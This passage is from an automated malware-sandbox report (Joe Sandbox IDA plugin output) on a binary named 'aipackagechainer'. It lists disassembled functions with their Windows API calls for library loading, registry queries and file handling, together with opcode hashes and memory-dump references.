                                                                                                                                                                                                                                                  • API String ID: 1391021980-2531429983
                                                                                                                                                                                                                                                  • Opcode ID: 9deac3e04d04748c5e661c7b628d5f5e85a20e84dc8399e89d39de4a78ff72d4
                                                                                                                                                                                                                                                  • Instruction ID: cf0eb6d9107742abe702e78e78b4353b6a7f19169863dc9858426e93a2c5b6fd
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 9deac3e04d04748c5e661c7b628d5f5e85a20e84dc8399e89d39de4a78ff72d4
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: C6014FB5904204EFEB119F54EC19B95BBFCFF05750F104A2AE851D3690DB7659108A50
                                                                                                                                                                                                                                                  Function 00239AE0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 39libraryloaderCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                    • Part of subcall function 0027C537: EnterCriticalSection.KERNEL32(002D7FD4,?,00000000,?,002135E6,002D88D0,4938EAB5,00000000,?,0029BA2D,000000FF,?,0024D125,4938EAB5,?,00000000), ref: 0027C542
                                                                                                                                                                                                                                                    • Part of subcall function 0027C537: LeaveCriticalSection.KERNEL32(002D7FD4,?,002135E6,002D88D0,4938EAB5,00000000,?,0029BA2D,000000FF,?,0024D125,4938EAB5,?,00000000), ref: 0027C57F
                                                                                                                                                                                                                                                  • LoadLibraryA.KERNEL32(Dbghelp.dll,SymFromAddr), ref: 00239B3E
                                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 00239B45
                                                                                                                                                                                                                                                    • Part of subcall function 0027C4ED: EnterCriticalSection.KERNEL32(002D7FD4,00000000,?,00213657,002D88D0,002ACD30), ref: 0027C4F7
                                                                                                                                                                                                                                                    • Part of subcall function 0027C4ED: LeaveCriticalSection.KERNEL32(002D7FD4,?,00213657,002D88D0,002ACD30), ref: 0027C52A
                                                                                                                                                                                                                                                    • Part of subcall function 0027C4ED: RtlWakeAllConditionVariable.NTDLL ref: 0027C5A1
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: CriticalSection$EnterLeave$AddressConditionLibraryLoadProcVariableWake
                                                                                                                                                                                                                                                  • String ID: Dbghelp.dll$SymFromAddr
                                                                                                                                                                                                                                                  • API String ID: 3620240239-642441706
                                                                                                                                                                                                                                                  • Opcode ID: c0f02f2b50beec741a1d8f4085ec1b3a0051f22e4443e2566dfa62ce96f2859d
                                                                                                                                                                                                                                                  • Instruction ID: 6c6061b9b1832886ca36cc79b23dd460b493e5c615582672be7bfc69203a9ced
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: c0f02f2b50beec741a1d8f4085ec1b3a0051f22e4443e2566dfa62ce96f2859d
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 8F019EB1D40640EBCB10CF58FD0AF5477A5F70A725F20422AE816937D0D7756810CA06
                                                                                                                                                                                                                                                  Function 00280FE7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • LoadLibraryExW.KERNEL32(002BC468,00000000,00000800,?,00280F98,?,?,00000000,?,?,?,002810C2,00000002,FlsGetValue,002AFDD8,FlsGetValue), ref: 00280FF4
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32(?,00280F98,?,?,00000000,?,?,?,002810C2,00000002,FlsGetValue,002AFDD8,FlsGetValue,?,?,0027E131), ref: 00280FFE
                                                                                                                                                                                                                                                  • LoadLibraryExW.KERNEL32(002BC468,00000000,00000000,0023A87C,002BC468,00000002,4938EAB5), ref: 00281026
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: LibraryLoad$ErrorLast
                                                                                                                                                                                                                                                  • String ID: api-ms-
                                                                                                                                                                                                                                                  • API String ID: 3177248105-2084034818
                                                                                                                                                                                                                                                  • Opcode ID: cc7bc612443897f8d7661ab2a77d0c634f73536918165d366a32fcb4e133dac3
                                                                                                                                                                                                                                                  • Instruction ID: a1712a90409a8e3e828f6ed1cec03db07292efa9969764a00b01ffa9986d2a8d
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: cc7bc612443897f8d7661ab2a77d0c634f73536918165d366a32fcb4e133dac3
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 3EE01234391209B7EF212F60ED0AB193A5AAF01B40F144020FA0CA80E0EBA199728645
                                                                                                                                                                                                                                                  Function 00214390 Relevance: 6.5, APIs: 4, Instructions: 461fileCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetTempFileNameW.KERNEL32(?,00000000,00000000,?,4938EAB5,?,00000004), ref: 00214408
                                                                                                                                                                                                                                                  • MoveFileW.KERNEL32(?,00000000), ref: 002147DB
                                                                                                                                                                                                                                                  • DeleteFileW.KERNEL32(?), ref: 00214825
                                                                                                                                                                                                                                                  • FreeLibrary.KERNEL32(00000000), ref: 00214ABB
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: File$DeleteFreeLibraryMoveNameTemp
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 2027907882-0
                                                                                                                                                                                                                                                  • Opcode ID: 9e4de08d98cfb19cdeee75929162f1287326801829c19d26302611442b46b4d9
                                                                                                                                                                                                                                                  • Instruction ID: 3df5134623f959c2c3167bc8d23dd80923048f00cb342a13947e428ce67ba321
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 9e4de08d98cfb19cdeee75929162f1287326801829c19d26302611442b46b4d9
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 95126770D202698ACB24EF28CC987DDB7B5BF65304F6042D9E409A7291EB756BD4CF90
                                                                                                                                                                                                                                                  Function 00253F40 Relevance: 6.4, APIs: 4, Instructions: 356registryCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • _wcsrchr.LIBVCRUNTIME ref: 00253FB2
                                                                                                                                                                                                                                                  • RegQueryValueExW.ADVAPI32(00000000,?,00000000,?,?,?,?,00000001,?), ref: 00254274
                                                                                                                                                                                                                                                  • RegQueryValueExW.ADVAPI32(00000000,?,00000000,?,00000010,00000000), ref: 002542EE
                                                                                                                                                                                                                                                  • RegCloseKey.ADVAPI32(00000000), ref: 002543AD
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: QueryValue$Close_wcsrchr
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 3512256112-0
                                                                                                                                                                                                                                                  • Opcode ID: ce49e6cae85d063304deb3e2a13ebd298ec975ff5767b87e7982265990f47b40
                                                                                                                                                                                                                                                  • Instruction ID: 45e7509f6ce0f69a9e1c1f3a0c8bb29aa7ad1748e8bac4e290da89be2c7c2194
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: ce49e6cae85d063304deb3e2a13ebd298ec975ff5767b87e7982265990f47b40
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: DAE19F71911219AFDB20DF68CC88B9EF7B4EF18324F2482D9E819A7291D7749E94CF50
                                                                                                                                                                                                                                                  Function 0028FD55 Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetConsoleOutputCP.KERNEL32(4938EAB5,00000000,00000000,00000000), ref: 0028FDB8
                                                                                                                                                                                                                                                    • Part of subcall function 00293D92: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,0028FBA4,?,00000000,-00000008), ref: 00293E3E
                                                                                                                                                                                                                                                  • WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00290013
                                                                                                                                                                                                                                                  • WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 0029005B
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 002900FE
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 2112829910-0
                                                                                                                                                                                                                                                  • Opcode ID: 3c620a1f76a62d3b6a54978645351837ad1b3ecf49a38d9e01e341c33769b61b
                                                                                                                                                                                                                                                  • Instruction ID: 98bb4d83d75231506f366a1a37aba26786c3cdd668fda4cfdddffa35812dd147
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 3c620a1f76a62d3b6a54978645351837ad1b3ecf49a38d9e01e341c33769b61b
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 8DD18A75D112589FCF15CFA8D880AAEBBB4FF09310F18452AE959EB391E730A952CF50
                                                                                                                                                                                                                                                  Function 0024AEE0 Relevance: 6.2, APIs: 4, Instructions: 182COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetActiveWindow.USER32 ref: 0024B018
                                                                                                                                                                                                                                                  • GetForegroundWindow.USER32(?,00000000,?,?,00000001,?), ref: 0024B028
                                                                                                                                                                                                                                                  • SetForegroundWindow.USER32(00000000), ref: 0024B064
                                                                                                                                                                                                                                                    • Part of subcall function 00213540: GetProcessHeap.KERNEL32 ref: 00213595
                                                                                                                                                                                                                                                  • OutputDebugStringW.KERNEL32(?,4938EAB5,00000001,?,?,00000001,?,?,?), ref: 0024B0B8
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Window$Foreground$ActiveDebugHeapOutputProcessString
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 799693181-0
                                                                                                                                                                                                                                                  • Opcode ID: b9617b22fa413fb93c6ef00cf1c80efb06db13f6727b3b35d6c0fad148b93432
                                                                                                                                                                                                                                                  • Instruction ID: 40993c5b0fd3c1886e56ac5303b5866a9a42db5b0d54b406d0f41f96eef9965f
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: b9617b22fa413fb93c6ef00cf1c80efb06db13f6727b3b35d6c0fad148b93432
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9A511471A006069FDB18DF68C8097AEF7A5EF45321F1582ADE816973D1EB319D10CF91
                                                                                                                                                                                                                                                  Function 00280022 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: AdjustPointer
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 1740715915-0
                                                                                                                                                                                                                                                  • Opcode ID: c65fdb3120afcb8e070a1732669906e4d6bf409fe84c0652b68be057bfbf1e30
                                                                                                                                                                                                                                                  • Instruction ID: edb1f8b246c26db6e2d4d5dad49826a7a644b727f3fc9520e7917f4dcea2dd3e
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: c65fdb3120afcb8e070a1732669906e4d6bf409fe84c0652b68be057bfbf1e30
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 8B51E47A6232029FEB69AF50C8C5B7A77A4EF14320F14446DE8095B2E1E771EC68CB50
                                                                                                                                                                                                                                                  Function 00242CC0 Relevance: 6.2, APIs: 4, Instructions: 164COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetShortPathNameW.KERNEL32(?,00000000,00000000), ref: 00242D20
                                                                                                                                                                                                                                                  • GetShortPathNameW.KERNEL32(?,?,?), ref: 00242D8E
                                                                                                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(00000003,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 00242DDE
                                                                                                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(00000003,00000000,?,000000FF,?,-00000001,00000000,00000000), ref: 00242E14
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ByteCharMultiNamePathShortWide
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 3379522384-0
                                                                                                                                                                                                                                                  • Opcode ID: 0808e0c759f6aad7e52a5d248559686e364b8adf15f3c7ec26d75d3a72eb6051
                                                                                                                                                                                                                                                  • Instruction ID: 5ed613599255b144cea6d99c00c4f186817bc1fe5cb136f6d4dffa493a5a3ab0
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 0808e0c759f6aad7e52a5d248559686e364b8adf15f3c7ec26d75d3a72eb6051
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: DA51DA31610606EFD718DF69CC49B6EF7B5EF84324F60826CF521AB2A0DB71A810CB60
                                                                                                                                                                                                                                                  Function 00254EB0 Relevance: 6.2, APIs: 4, Instructions: 157registryCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • RegCloseKey.ADVAPI32(00000000,4938EAB5), ref: 00254F26
                                                                                                                                                                                                                                                  • _wcsrchr.LIBVCRUNTIME ref: 00254F50
                                                                                                                                                                                                                                                  • RegQueryValueExW.ADVAPI32(00000000,002BDC1C,00000000,00000000,00000000,00000000,002BDC1C,00000001,?,00000000,00000000), ref: 00254FD3
                                                                                                                                                                                                                                                  • RegCloseKey.ADVAPI32(00000000,00000000,00000000), ref: 0025501F
                                                                                                                                                                                                                                                    • Part of subcall function 00254DD0: RegOpenKeyExW.ADVAPI32(00000000,4938EAB5,00000000,00020019,00000002,4938EAB5,00000001,00000010,00000002,0025403C,4938EAB5,00000000,00000000), ref: 00254E6C
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Close$OpenQueryValue_wcsrchr
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 213811329-0
                                                                                                                                                                                                                                                  • Opcode ID: 0f4cf4979b1eaf05893eaf238cc2d87e88c3c5c39eeacbca9b890a8b602e6faa
                                                                                                                                                                                                                                                  • Instruction ID: c3fad06dd904e13aec9748031433f7902f3beb01db0e07fe86a2a827021a6061
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 0f4cf4979b1eaf05893eaf238cc2d87e88c3c5c39eeacbca9b890a8b602e6faa
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: DA511F31901659AFEB10DF68C948BAEFBB4EF45321F14826AEC20973C1D7B59E54CB80
                                                                                                                                                                                                                                                  Function 00278EC0 Relevance: 6.2, APIs: 4, Instructions: 150COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ErrorEventLast
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 3848097054-0
                                                                                                                                                                                                                                                  • Opcode ID: 8ae47300ea24276223534bab4295186c2bc567191ef4133265b425d2a893406b
                                                                                                                                                                                                                                                  • Instruction ID: 1edccdce2e7e5964232fe79f8bcfecbfdbaad6b6470c8e1fc64eeeae6f2844f2
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 8ae47300ea24276223534bab4295186c2bc567191ef4133265b425d2a893406b
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: EB6125B1911312CFEB64CF18C8D87563BE5BF44318F1581A9DD089F28AD776D899CB90
                                                                                                                                                                                                                                                  Function 00259B60 Relevance: 6.1, APIs: 4, Instructions: 148fileCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000,4938EAB5,?,?,?,?,?,?,00000000,002A94C5), ref: 00259BA9
                                                                                                                                                                                                                                                  • GetFileSize.KERNEL32(00000000,00000000,?,?,?,00000000,002A94C5,000000FF), ref: 00259BD1
                                                                                                                                                                                                                                                  • ReadFile.KERNEL32(?,?,00010000,?,00000000,00010000,?,?,?,00000000,002A94C5,000000FF), ref: 00259C4F
                                                                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000,?,?,?,00000000,002A94C5,000000FF), ref: 00259D06
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: File$CloseCreateHandleReadSize
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 3919263394-0
                                                                                                                                                                                                                                                  • Opcode ID: 6e0bc8e1daa2ff2f79852126d9943a311b994ffdb25a7f5ed67fdeecefe857fb
                                                                                                                                                                                                                                                  • Instruction ID: 1e319330d20363fc2485d93eca9b18c9fab01f24df50092a7d807529e2a125dd
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 6e0bc8e1daa2ff2f79852126d9943a311b994ffdb25a7f5ed67fdeecefe857fb
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 8D513E72910249EFEB10CF68C8447EEBBF8FF1A301F24414AEC1967281D7B05A49CBA4
                                                                                                                                                                                                                                                  Function 0022F590 Relevance: 6.1, APIs: 4, Instructions: 124registryCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • RegOpenKeyExW.ADVAPI32(?,00000000,00000000,?,?,4938EAB5,002BD648,00000000,00000000,?,?,?,?,?,?,?), ref: 0022F60D
                                                                                                                                                                                                                                                  • RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,002A128D,000000FF), ref: 0022F62D
                                                                                                                                                                                                                                                  • RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,002A128D,000000FF), ref: 0022F6B0
                                                                                                                                                                                                                                                  • RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,002A128D,000000FF), ref: 0022F6DC
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Close$Open
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 2976201327-0
                                                                                                                                                                                                                                                  • Opcode ID: 7fbd2ec00fd46839b2fcea4184dbde533f2bdf454db836070bffb2e872f94ba2
                                                                                                                                                                                                                                                  • Instruction ID: c4d253acd700e89c32cdb42135b5b232449be35fb7f580a3304a97c4366dcc21
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 7fbd2ec00fd46839b2fcea4184dbde533f2bdf454db836070bffb2e872f94ba2
